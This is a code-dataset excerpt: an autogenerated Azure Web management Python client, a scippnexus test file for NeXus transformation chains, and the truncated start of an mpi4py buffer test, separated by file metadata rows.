:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/publishingCredentials'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(request_message, 'User')
# Construct and send request
request = self._client.put(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('User', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def get_subscription_geo_regions(
self, sku=None, linux_workers_enabled=None, custom_headers=None, raw=False, **operation_config):
"""Gets list of available geo regions.
:param sku: Filter only to regions that support this sku
:type sku: str
:param linux_workers_enabled: Filter only to regions that support
linux workers
:type linux_workers_enabled: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`GeoRegionPaged <azure.mgmt.web.models.GeoRegionPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/geoRegions'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if sku is not None:
query_parameters['sku'] = self._serialize.query("sku", sku, 'str')
if linux_workers_enabled is not None:
query_parameters['linuxWorkersEnabled'] = self._serialize.query("linux_workers_enabled", linux_workers_enabled, 'bool')
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.GeoRegionPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.GeoRegionPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_certificates(
self, custom_headers=None, raw=False, **operation_config):
"""Get all certificates for a subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`CertificatePaged
<azure.mgmt.web.models.CertificatePaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/certificates'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.CertificatePaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.CertificatePaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_server_farms(
self, detailed=None, custom_headers=None, raw=False, **operation_config):
"""Gets all App Service Plans for a subcription.
:param detailed: False to return a subset of App Service Plan
properties, true to return all of the properties.
Retrieval of all properties may increase the API latency.
:type detailed: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`ServerFarmWithRichSkuPaged
<azure.mgmt.web.models.ServerFarmWithRichSkuPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/serverfarms'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if detailed is not None:
query_parameters['detailed'] = self._serialize.query("detailed", detailed, 'bool')
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.ServerFarmWithRichSkuPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.ServerFarmWithRichSkuPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_sites(
self, custom_headers=None, raw=False, **operation_config):
"""Gets all Web Apps for a subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`SitePaged <azure.mgmt.web.models.SitePaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/sites'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.SitePaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.SitePaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_hosting_environments(
self, custom_headers=None, raw=False, **operation_config):
"""Gets all hostingEnvironments (App Service Environment) for a
subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`HostingEnvironmentPaged
<azure.mgmt.web.models.HostingEnvironmentPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/hostingEnvironments'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.HostingEnvironmentPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.HostingEnvironmentPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_managed_hosting_environments(
self, custom_headers=None, raw=False, **operation_config):
"""Gets all managed hosting environments for a subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`ManagedHostingEnvironmentPaged
<azure.mgmt.web.models.ManagedHostingEnvironmentPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/managedHostingEnvironments'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.ManagedHostingEnvironmentPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.ManagedHostingEnvironmentPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def get_all_classic_mobile_services(
self, custom_headers=None, raw=False, **operation_config):
"""Gets all mobile services for a subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`ClassicMobileServicePaged
<azure.mgmt.web.models.ClassicMobileServicePaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/classicMobileServices'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.ClassicMobileServicePaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.ClassicMobileServicePaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def list_premier_add_on_offers(
self, custom_headers=None, raw=False, **operation_config):
"""List premier add on offers.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: object
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/premieraddonoffers'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('object', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def is_hosting_environment_name_available(
self, name, custom_headers=None, raw=False, **operation_config):
"""Whether hosting environment name is available.
:param name: Hosting environment name
:type name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: object
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/ishostingenvironmentnameavailable'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['name'] = self._serialize.query("name", name, 'str')
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('object', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def is_hosting_environment_with_legacy_name_available(
self, name, custom_headers=None, raw=False, **operation_config):
"""Whether hosting environment name is available.
:param name: Hosting environment name
:type name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: object
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/ishostingenvironmentnameavailable/{name}'
path_format_arguments = {
'name': self._serialize.url("name", name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('object', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def check_name_availability(
self, request, custom_headers=None, raw=False, **operation_config):
"""Check if resource name is available.
:param request: Name availability request
:type request: :class:`ResourceNameAvailabilityRequest
<azure.mgmt.web.models.ResourceNameAvailabilityRequest>`
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`ResourceNameAvailability
<azure.mgmt.web.models.ResourceNameAvailability>`
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/checknameavailability'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(request, 'ResourceNameAvailabilityRequest')
# Construct and send request
request = self._client.post(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ResourceNameAvailability', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
| 44.246429
| 144
| 0.645626
| 3,803
| 37,167
| 6.114383
| 0.056797
| 0.045155
| 0.026835
| 0.040253
| 0.890122
| 0.885133
| 0.882553
| 0.85804
| 0.854126
| 0.847805
| 0
| 0.003057
| 0.260742
| 37,167
| 839
| 145
| 44.299166
| 0.843245
| 0.236123
| 0
| 0.828194
| 0
| 0
| 0.141908
| 0.086717
| 0
| 0
| 0
| 0
| 0
| 1
| 0.046256
| false
| 0
| 0.008811
| 0
| 0.129956
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1637731316bb59d61e830fa45576be875d01019b
| 8,270
|
py
|
Python
|
tests/nxtransformations_test.py
|
scipp/scippnexus
|
978b3b671355f55f94eb9d79f2ffe5cf793605ba
|
[
"BSD-3-Clause"
] | null | null | null |
tests/nxtransformations_test.py
|
scipp/scippnexus
|
978b3b671355f55f94eb9d79f2ffe5cf793605ba
|
[
"BSD-3-Clause"
] | null | null | null |
tests/nxtransformations_test.py
|
scipp/scippnexus
|
978b3b671355f55f94eb9d79f2ffe5cf793605ba
|
[
"BSD-3-Clause"
] | null | null | null |
import h5py
import numpy as np
import scipp as sc
from scippnexus import NXroot, NX_class
from scippnexus import nxtransformations
import pytest
@pytest.fixture()
def nxroot(request):
"""Yield NXroot containing a single NXentry named 'entry'"""
with h5py.File('dummy.nxs', mode='w', driver="core", backing_store=False) as f:
root = NXroot(f)
root.create_class('entry', NX_class.NXentry)
yield root
def create_detector(group):
data = sc.array(dims=['xx', 'yy'], values=[[1.1, 2.2], [3.3, 4.4]])
detector_numbers = sc.array(dims=['xx', 'yy'],
unit=None,
values=np.array([[1, 2], [3, 4]]))
detector = group.create_class('detector_0', NX_class.NXdetector)
detector.create_field('detector_number', detector_numbers)
detector.create_field('data', data)
return detector
def test_Transformation_with_single_value(nxroot):
detector = create_detector(nxroot)
detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1'))
transformations = detector.create_class('transformations',
NX_class.NXtransformations)
value = sc.scalar(6.5, unit='mm')
offset = sc.spatial.translation(value=[1, 2, 3], unit='mm')
vector = sc.vector(value=[0, 0, 1])
t = value.to(unit='m') * vector
expected = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit)
expected = expected * sc.spatial.translation(value=[0.001, 0.002, 0.003], unit='m')
value = transformations.create_field('t1', value)
value.attrs['depends_on'] = '.'
value.attrs['transformation_type'] = 'translation'
value.attrs['offset'] = offset.values
value.attrs['offset_units'] = str(offset.unit)
value.attrs['vector'] = vector.value
depends_on = detector['depends_on'][()].value
t = nxtransformations.Transformation(nxroot[depends_on])
assert t.depends_on is None
assert sc.identical(t.offset, offset)
assert sc.identical(t.vector, vector)
assert sc.identical(t[()], expected)
def test_chain_with_single_values_and_different_unit(nxroot):
detector = create_detector(nxroot)
detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1'))
transformations = detector.create_class('transformations',
NX_class.NXtransformations)
value = sc.scalar(6.5, unit='mm')
offset = sc.spatial.translation(value=[1, 2, 3], unit='mm')
vector = sc.vector(value=[0, 0, 1])
t = value.to(unit='m') * vector
value1 = transformations.create_field('t1', value)
value1.attrs['depends_on'] = 't2'
value1.attrs['transformation_type'] = 'translation'
value1.attrs['offset'] = offset.values
value1.attrs['offset_units'] = str(offset.unit)
value1.attrs['vector'] = vector.value
value2 = transformations.create_field('t2', value.to(unit='cm'))
value2.attrs['depends_on'] = '.'
value2.attrs['transformation_type'] = 'translation'
value2.attrs['vector'] = vector.value
expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit)
expected = expected * sc.spatial.translations(
dims=t.dims, values=2 * t.values, unit=t.unit)
expected = expected * sc.spatial.translation(value=[0.001, 0.002, 0.003], unit='m')
assert sc.identical(detector[...].coords['depends_on'], expected)
def test_Transformation_with_multiple_values(nxroot):
detector = create_detector(nxroot)
detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1'))
transformations = detector.create_class('transformations',
NX_class.NXtransformations)
log = sc.DataArray(
sc.array(dims=['time'], values=[1.1, 2.2], unit='m'),
coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')})
log.coords['time'] = sc.epoch(unit='ns') + log.coords['time'].to(unit='ns')
offset = sc.spatial.translation(value=[1, 2, 3], unit='m')
vector = sc.vector(value=[0, 0, 1])
t = log * vector
t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit)
expected = t * offset
value = transformations.create_class('t1', NX_class.NXlog)
value['time'] = log.coords['time'] - sc.epoch(unit='ns')
value['value'] = log.data
value.attrs['depends_on'] = '.'
value.attrs['transformation_type'] = 'translation'
value.attrs['offset'] = offset.values
value.attrs['offset_units'] = str(offset.unit)
value.attrs['vector'] = vector.value
depends_on = detector['depends_on'][()].value
t = nxtransformations.Transformation(nxroot[depends_on])
assert t.depends_on is None
assert sc.identical(t.offset, offset)
assert sc.identical(t.vector, vector)
assert sc.identical(t[()], expected)
def test_chain_with_multiple_values(nxroot):
detector = create_detector(nxroot)
detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1'))
transformations = detector.create_class('transformations',
NX_class.NXtransformations)
log = sc.DataArray(
sc.array(dims=['time'], values=[1.1, 2.2], unit='m'),
coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')})
log.coords['time'] = sc.epoch(unit='ns') + log.coords['time'].to(unit='ns')
offset = sc.spatial.translation(value=[1, 2, 3], unit='m')
vector = sc.vector(value=[0, 0, 1])
t = log * vector
t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit)
value1 = transformations.create_class('t1', NX_class.NXlog)
value1['time'] = log.coords['time'] - sc.epoch(unit='ns')
value1['value'] = log.data
value1.attrs['depends_on'] = 't2'
value1.attrs['transformation_type'] = 'translation'
value1.attrs['offset'] = offset.values
value1.attrs['offset_units'] = str(offset.unit)
value1.attrs['vector'] = vector.value
value2 = transformations.create_class('t2', NX_class.NXlog)
value2['time'] = log.coords['time'] - sc.epoch(unit='ns')
value2['value'] = log.data
value2.attrs['depends_on'] = '.'
value2.attrs['transformation_type'] = 'translation'
value2.attrs['vector'] = vector.value
expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit)
expected = t * (t * (offset * expected))
assert sc.identical(detector[...].coords['depends_on'].value, expected)
def test_chain_with_multiple_values_and_different_time_unit(nxroot):
detector = create_detector(nxroot)
detector.create_field('depends_on', sc.scalar('/detector_0/transformations/t1'))
transformations = detector.create_class('transformations',
NX_class.NXtransformations)
# Making sure to not use nanoseconds since that is used internally and may thus
# mask bugs.
log = sc.DataArray(
sc.array(dims=['time'], values=[1.1, 2.2], unit='m'),
coords={'time': sc.array(dims=['time'], values=[11, 22], unit='s')})
log.coords['time'] = sc.epoch(unit='us') + log.coords['time'].to(unit='us')
offset = sc.spatial.translation(value=[1, 2, 3], unit='m')
vector = sc.vector(value=[0, 0, 1])
t = log * vector
t.data = sc.spatial.translations(dims=t.dims, values=t.values, unit=t.unit)
value1 = transformations.create_class('t1', NX_class.NXlog)
value1['time'] = log.coords['time'] - sc.epoch(unit='us')
value1['value'] = log.data
value1.attrs['depends_on'] = 't2'
value1.attrs['transformation_type'] = 'translation'
value1.attrs['offset'] = offset.values
value1.attrs['offset_units'] = str(offset.unit)
value1.attrs['vector'] = vector.value
value2 = transformations.create_class('t2', NX_class.NXlog)
value2['time'] = log.coords['time'].to(unit='ms') - sc.epoch(unit='ms')
value2['value'] = log.data
value2.attrs['depends_on'] = '.'
value2.attrs['transformation_type'] = 'translation'
value2.attrs['vector'] = vector.value
expected = sc.spatial.affine_transform(value=np.identity(4), unit=t.unit)
expected = t * (t * (offset * expected))
assert sc.identical(detector[...].coords['depends_on'].value, expected)
| 46.201117
| 87
| 0.655744
| 1,073
| 8,270
| 4.944082
| 0.115564
| 0.040716
| 0.026956
| 0.051272
| 0.854288
| 0.829406
| 0.829406
| 0.807917
| 0.789632
| 0.789632
| 0
| 0.023578
| 0.179444
| 8,270
| 178
| 88
| 46.460674
| 0.758179
| 0.017412
| 0
| 0.730769
| 0
| 0
| 0.127848
| 0.018475
| 0
| 0
| 0
| 0
| 0.070513
| 1
| 0.044872
| false
| 0
| 0.038462
| 0
| 0.089744
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
16655def1e19f9bcebc129acd95c477417382d7f
| 28,209
|
py
|
Python
|
test/test_cco_buf.py
|
saosudo/mpi4py
|
18f16da45eaaacfba4cc0293964e1a6548d4c6a6
|
[
"BSD-2-Clause"
] | 3
|
2021-11-18T20:01:35.000Z
|
2021-12-17T17:47:23.000Z
|
test/test_cco_buf.py
|
saosudo/mpi4py
|
18f16da45eaaacfba4cc0293964e1a6548d4c6a6
|
[
"BSD-2-Clause"
] | 1
|
2022-03-16T07:29:30.000Z
|
2022-03-31T10:19:07.000Z
|
test/test_cco_buf.py
|
saosudo/mpi4py
|
18f16da45eaaacfba4cc0293964e1a6548d4c6a6
|
[
"BSD-2-Clause"
] | 3
|
2021-01-20T13:57:25.000Z
|
2021-08-05T06:48:58.000Z
|
from mpi4py import MPI
import mpiunittest as unittest
import arrayimpl
from functools import reduce
prod = lambda sequence,start=1: reduce(lambda x, y: x*y, sequence, start)
def skip_op(typecode, op):
if typecode in 'FDG':
if op in (MPI.MAX, MPI.MIN):
return True
return False
def maxvalue(a):
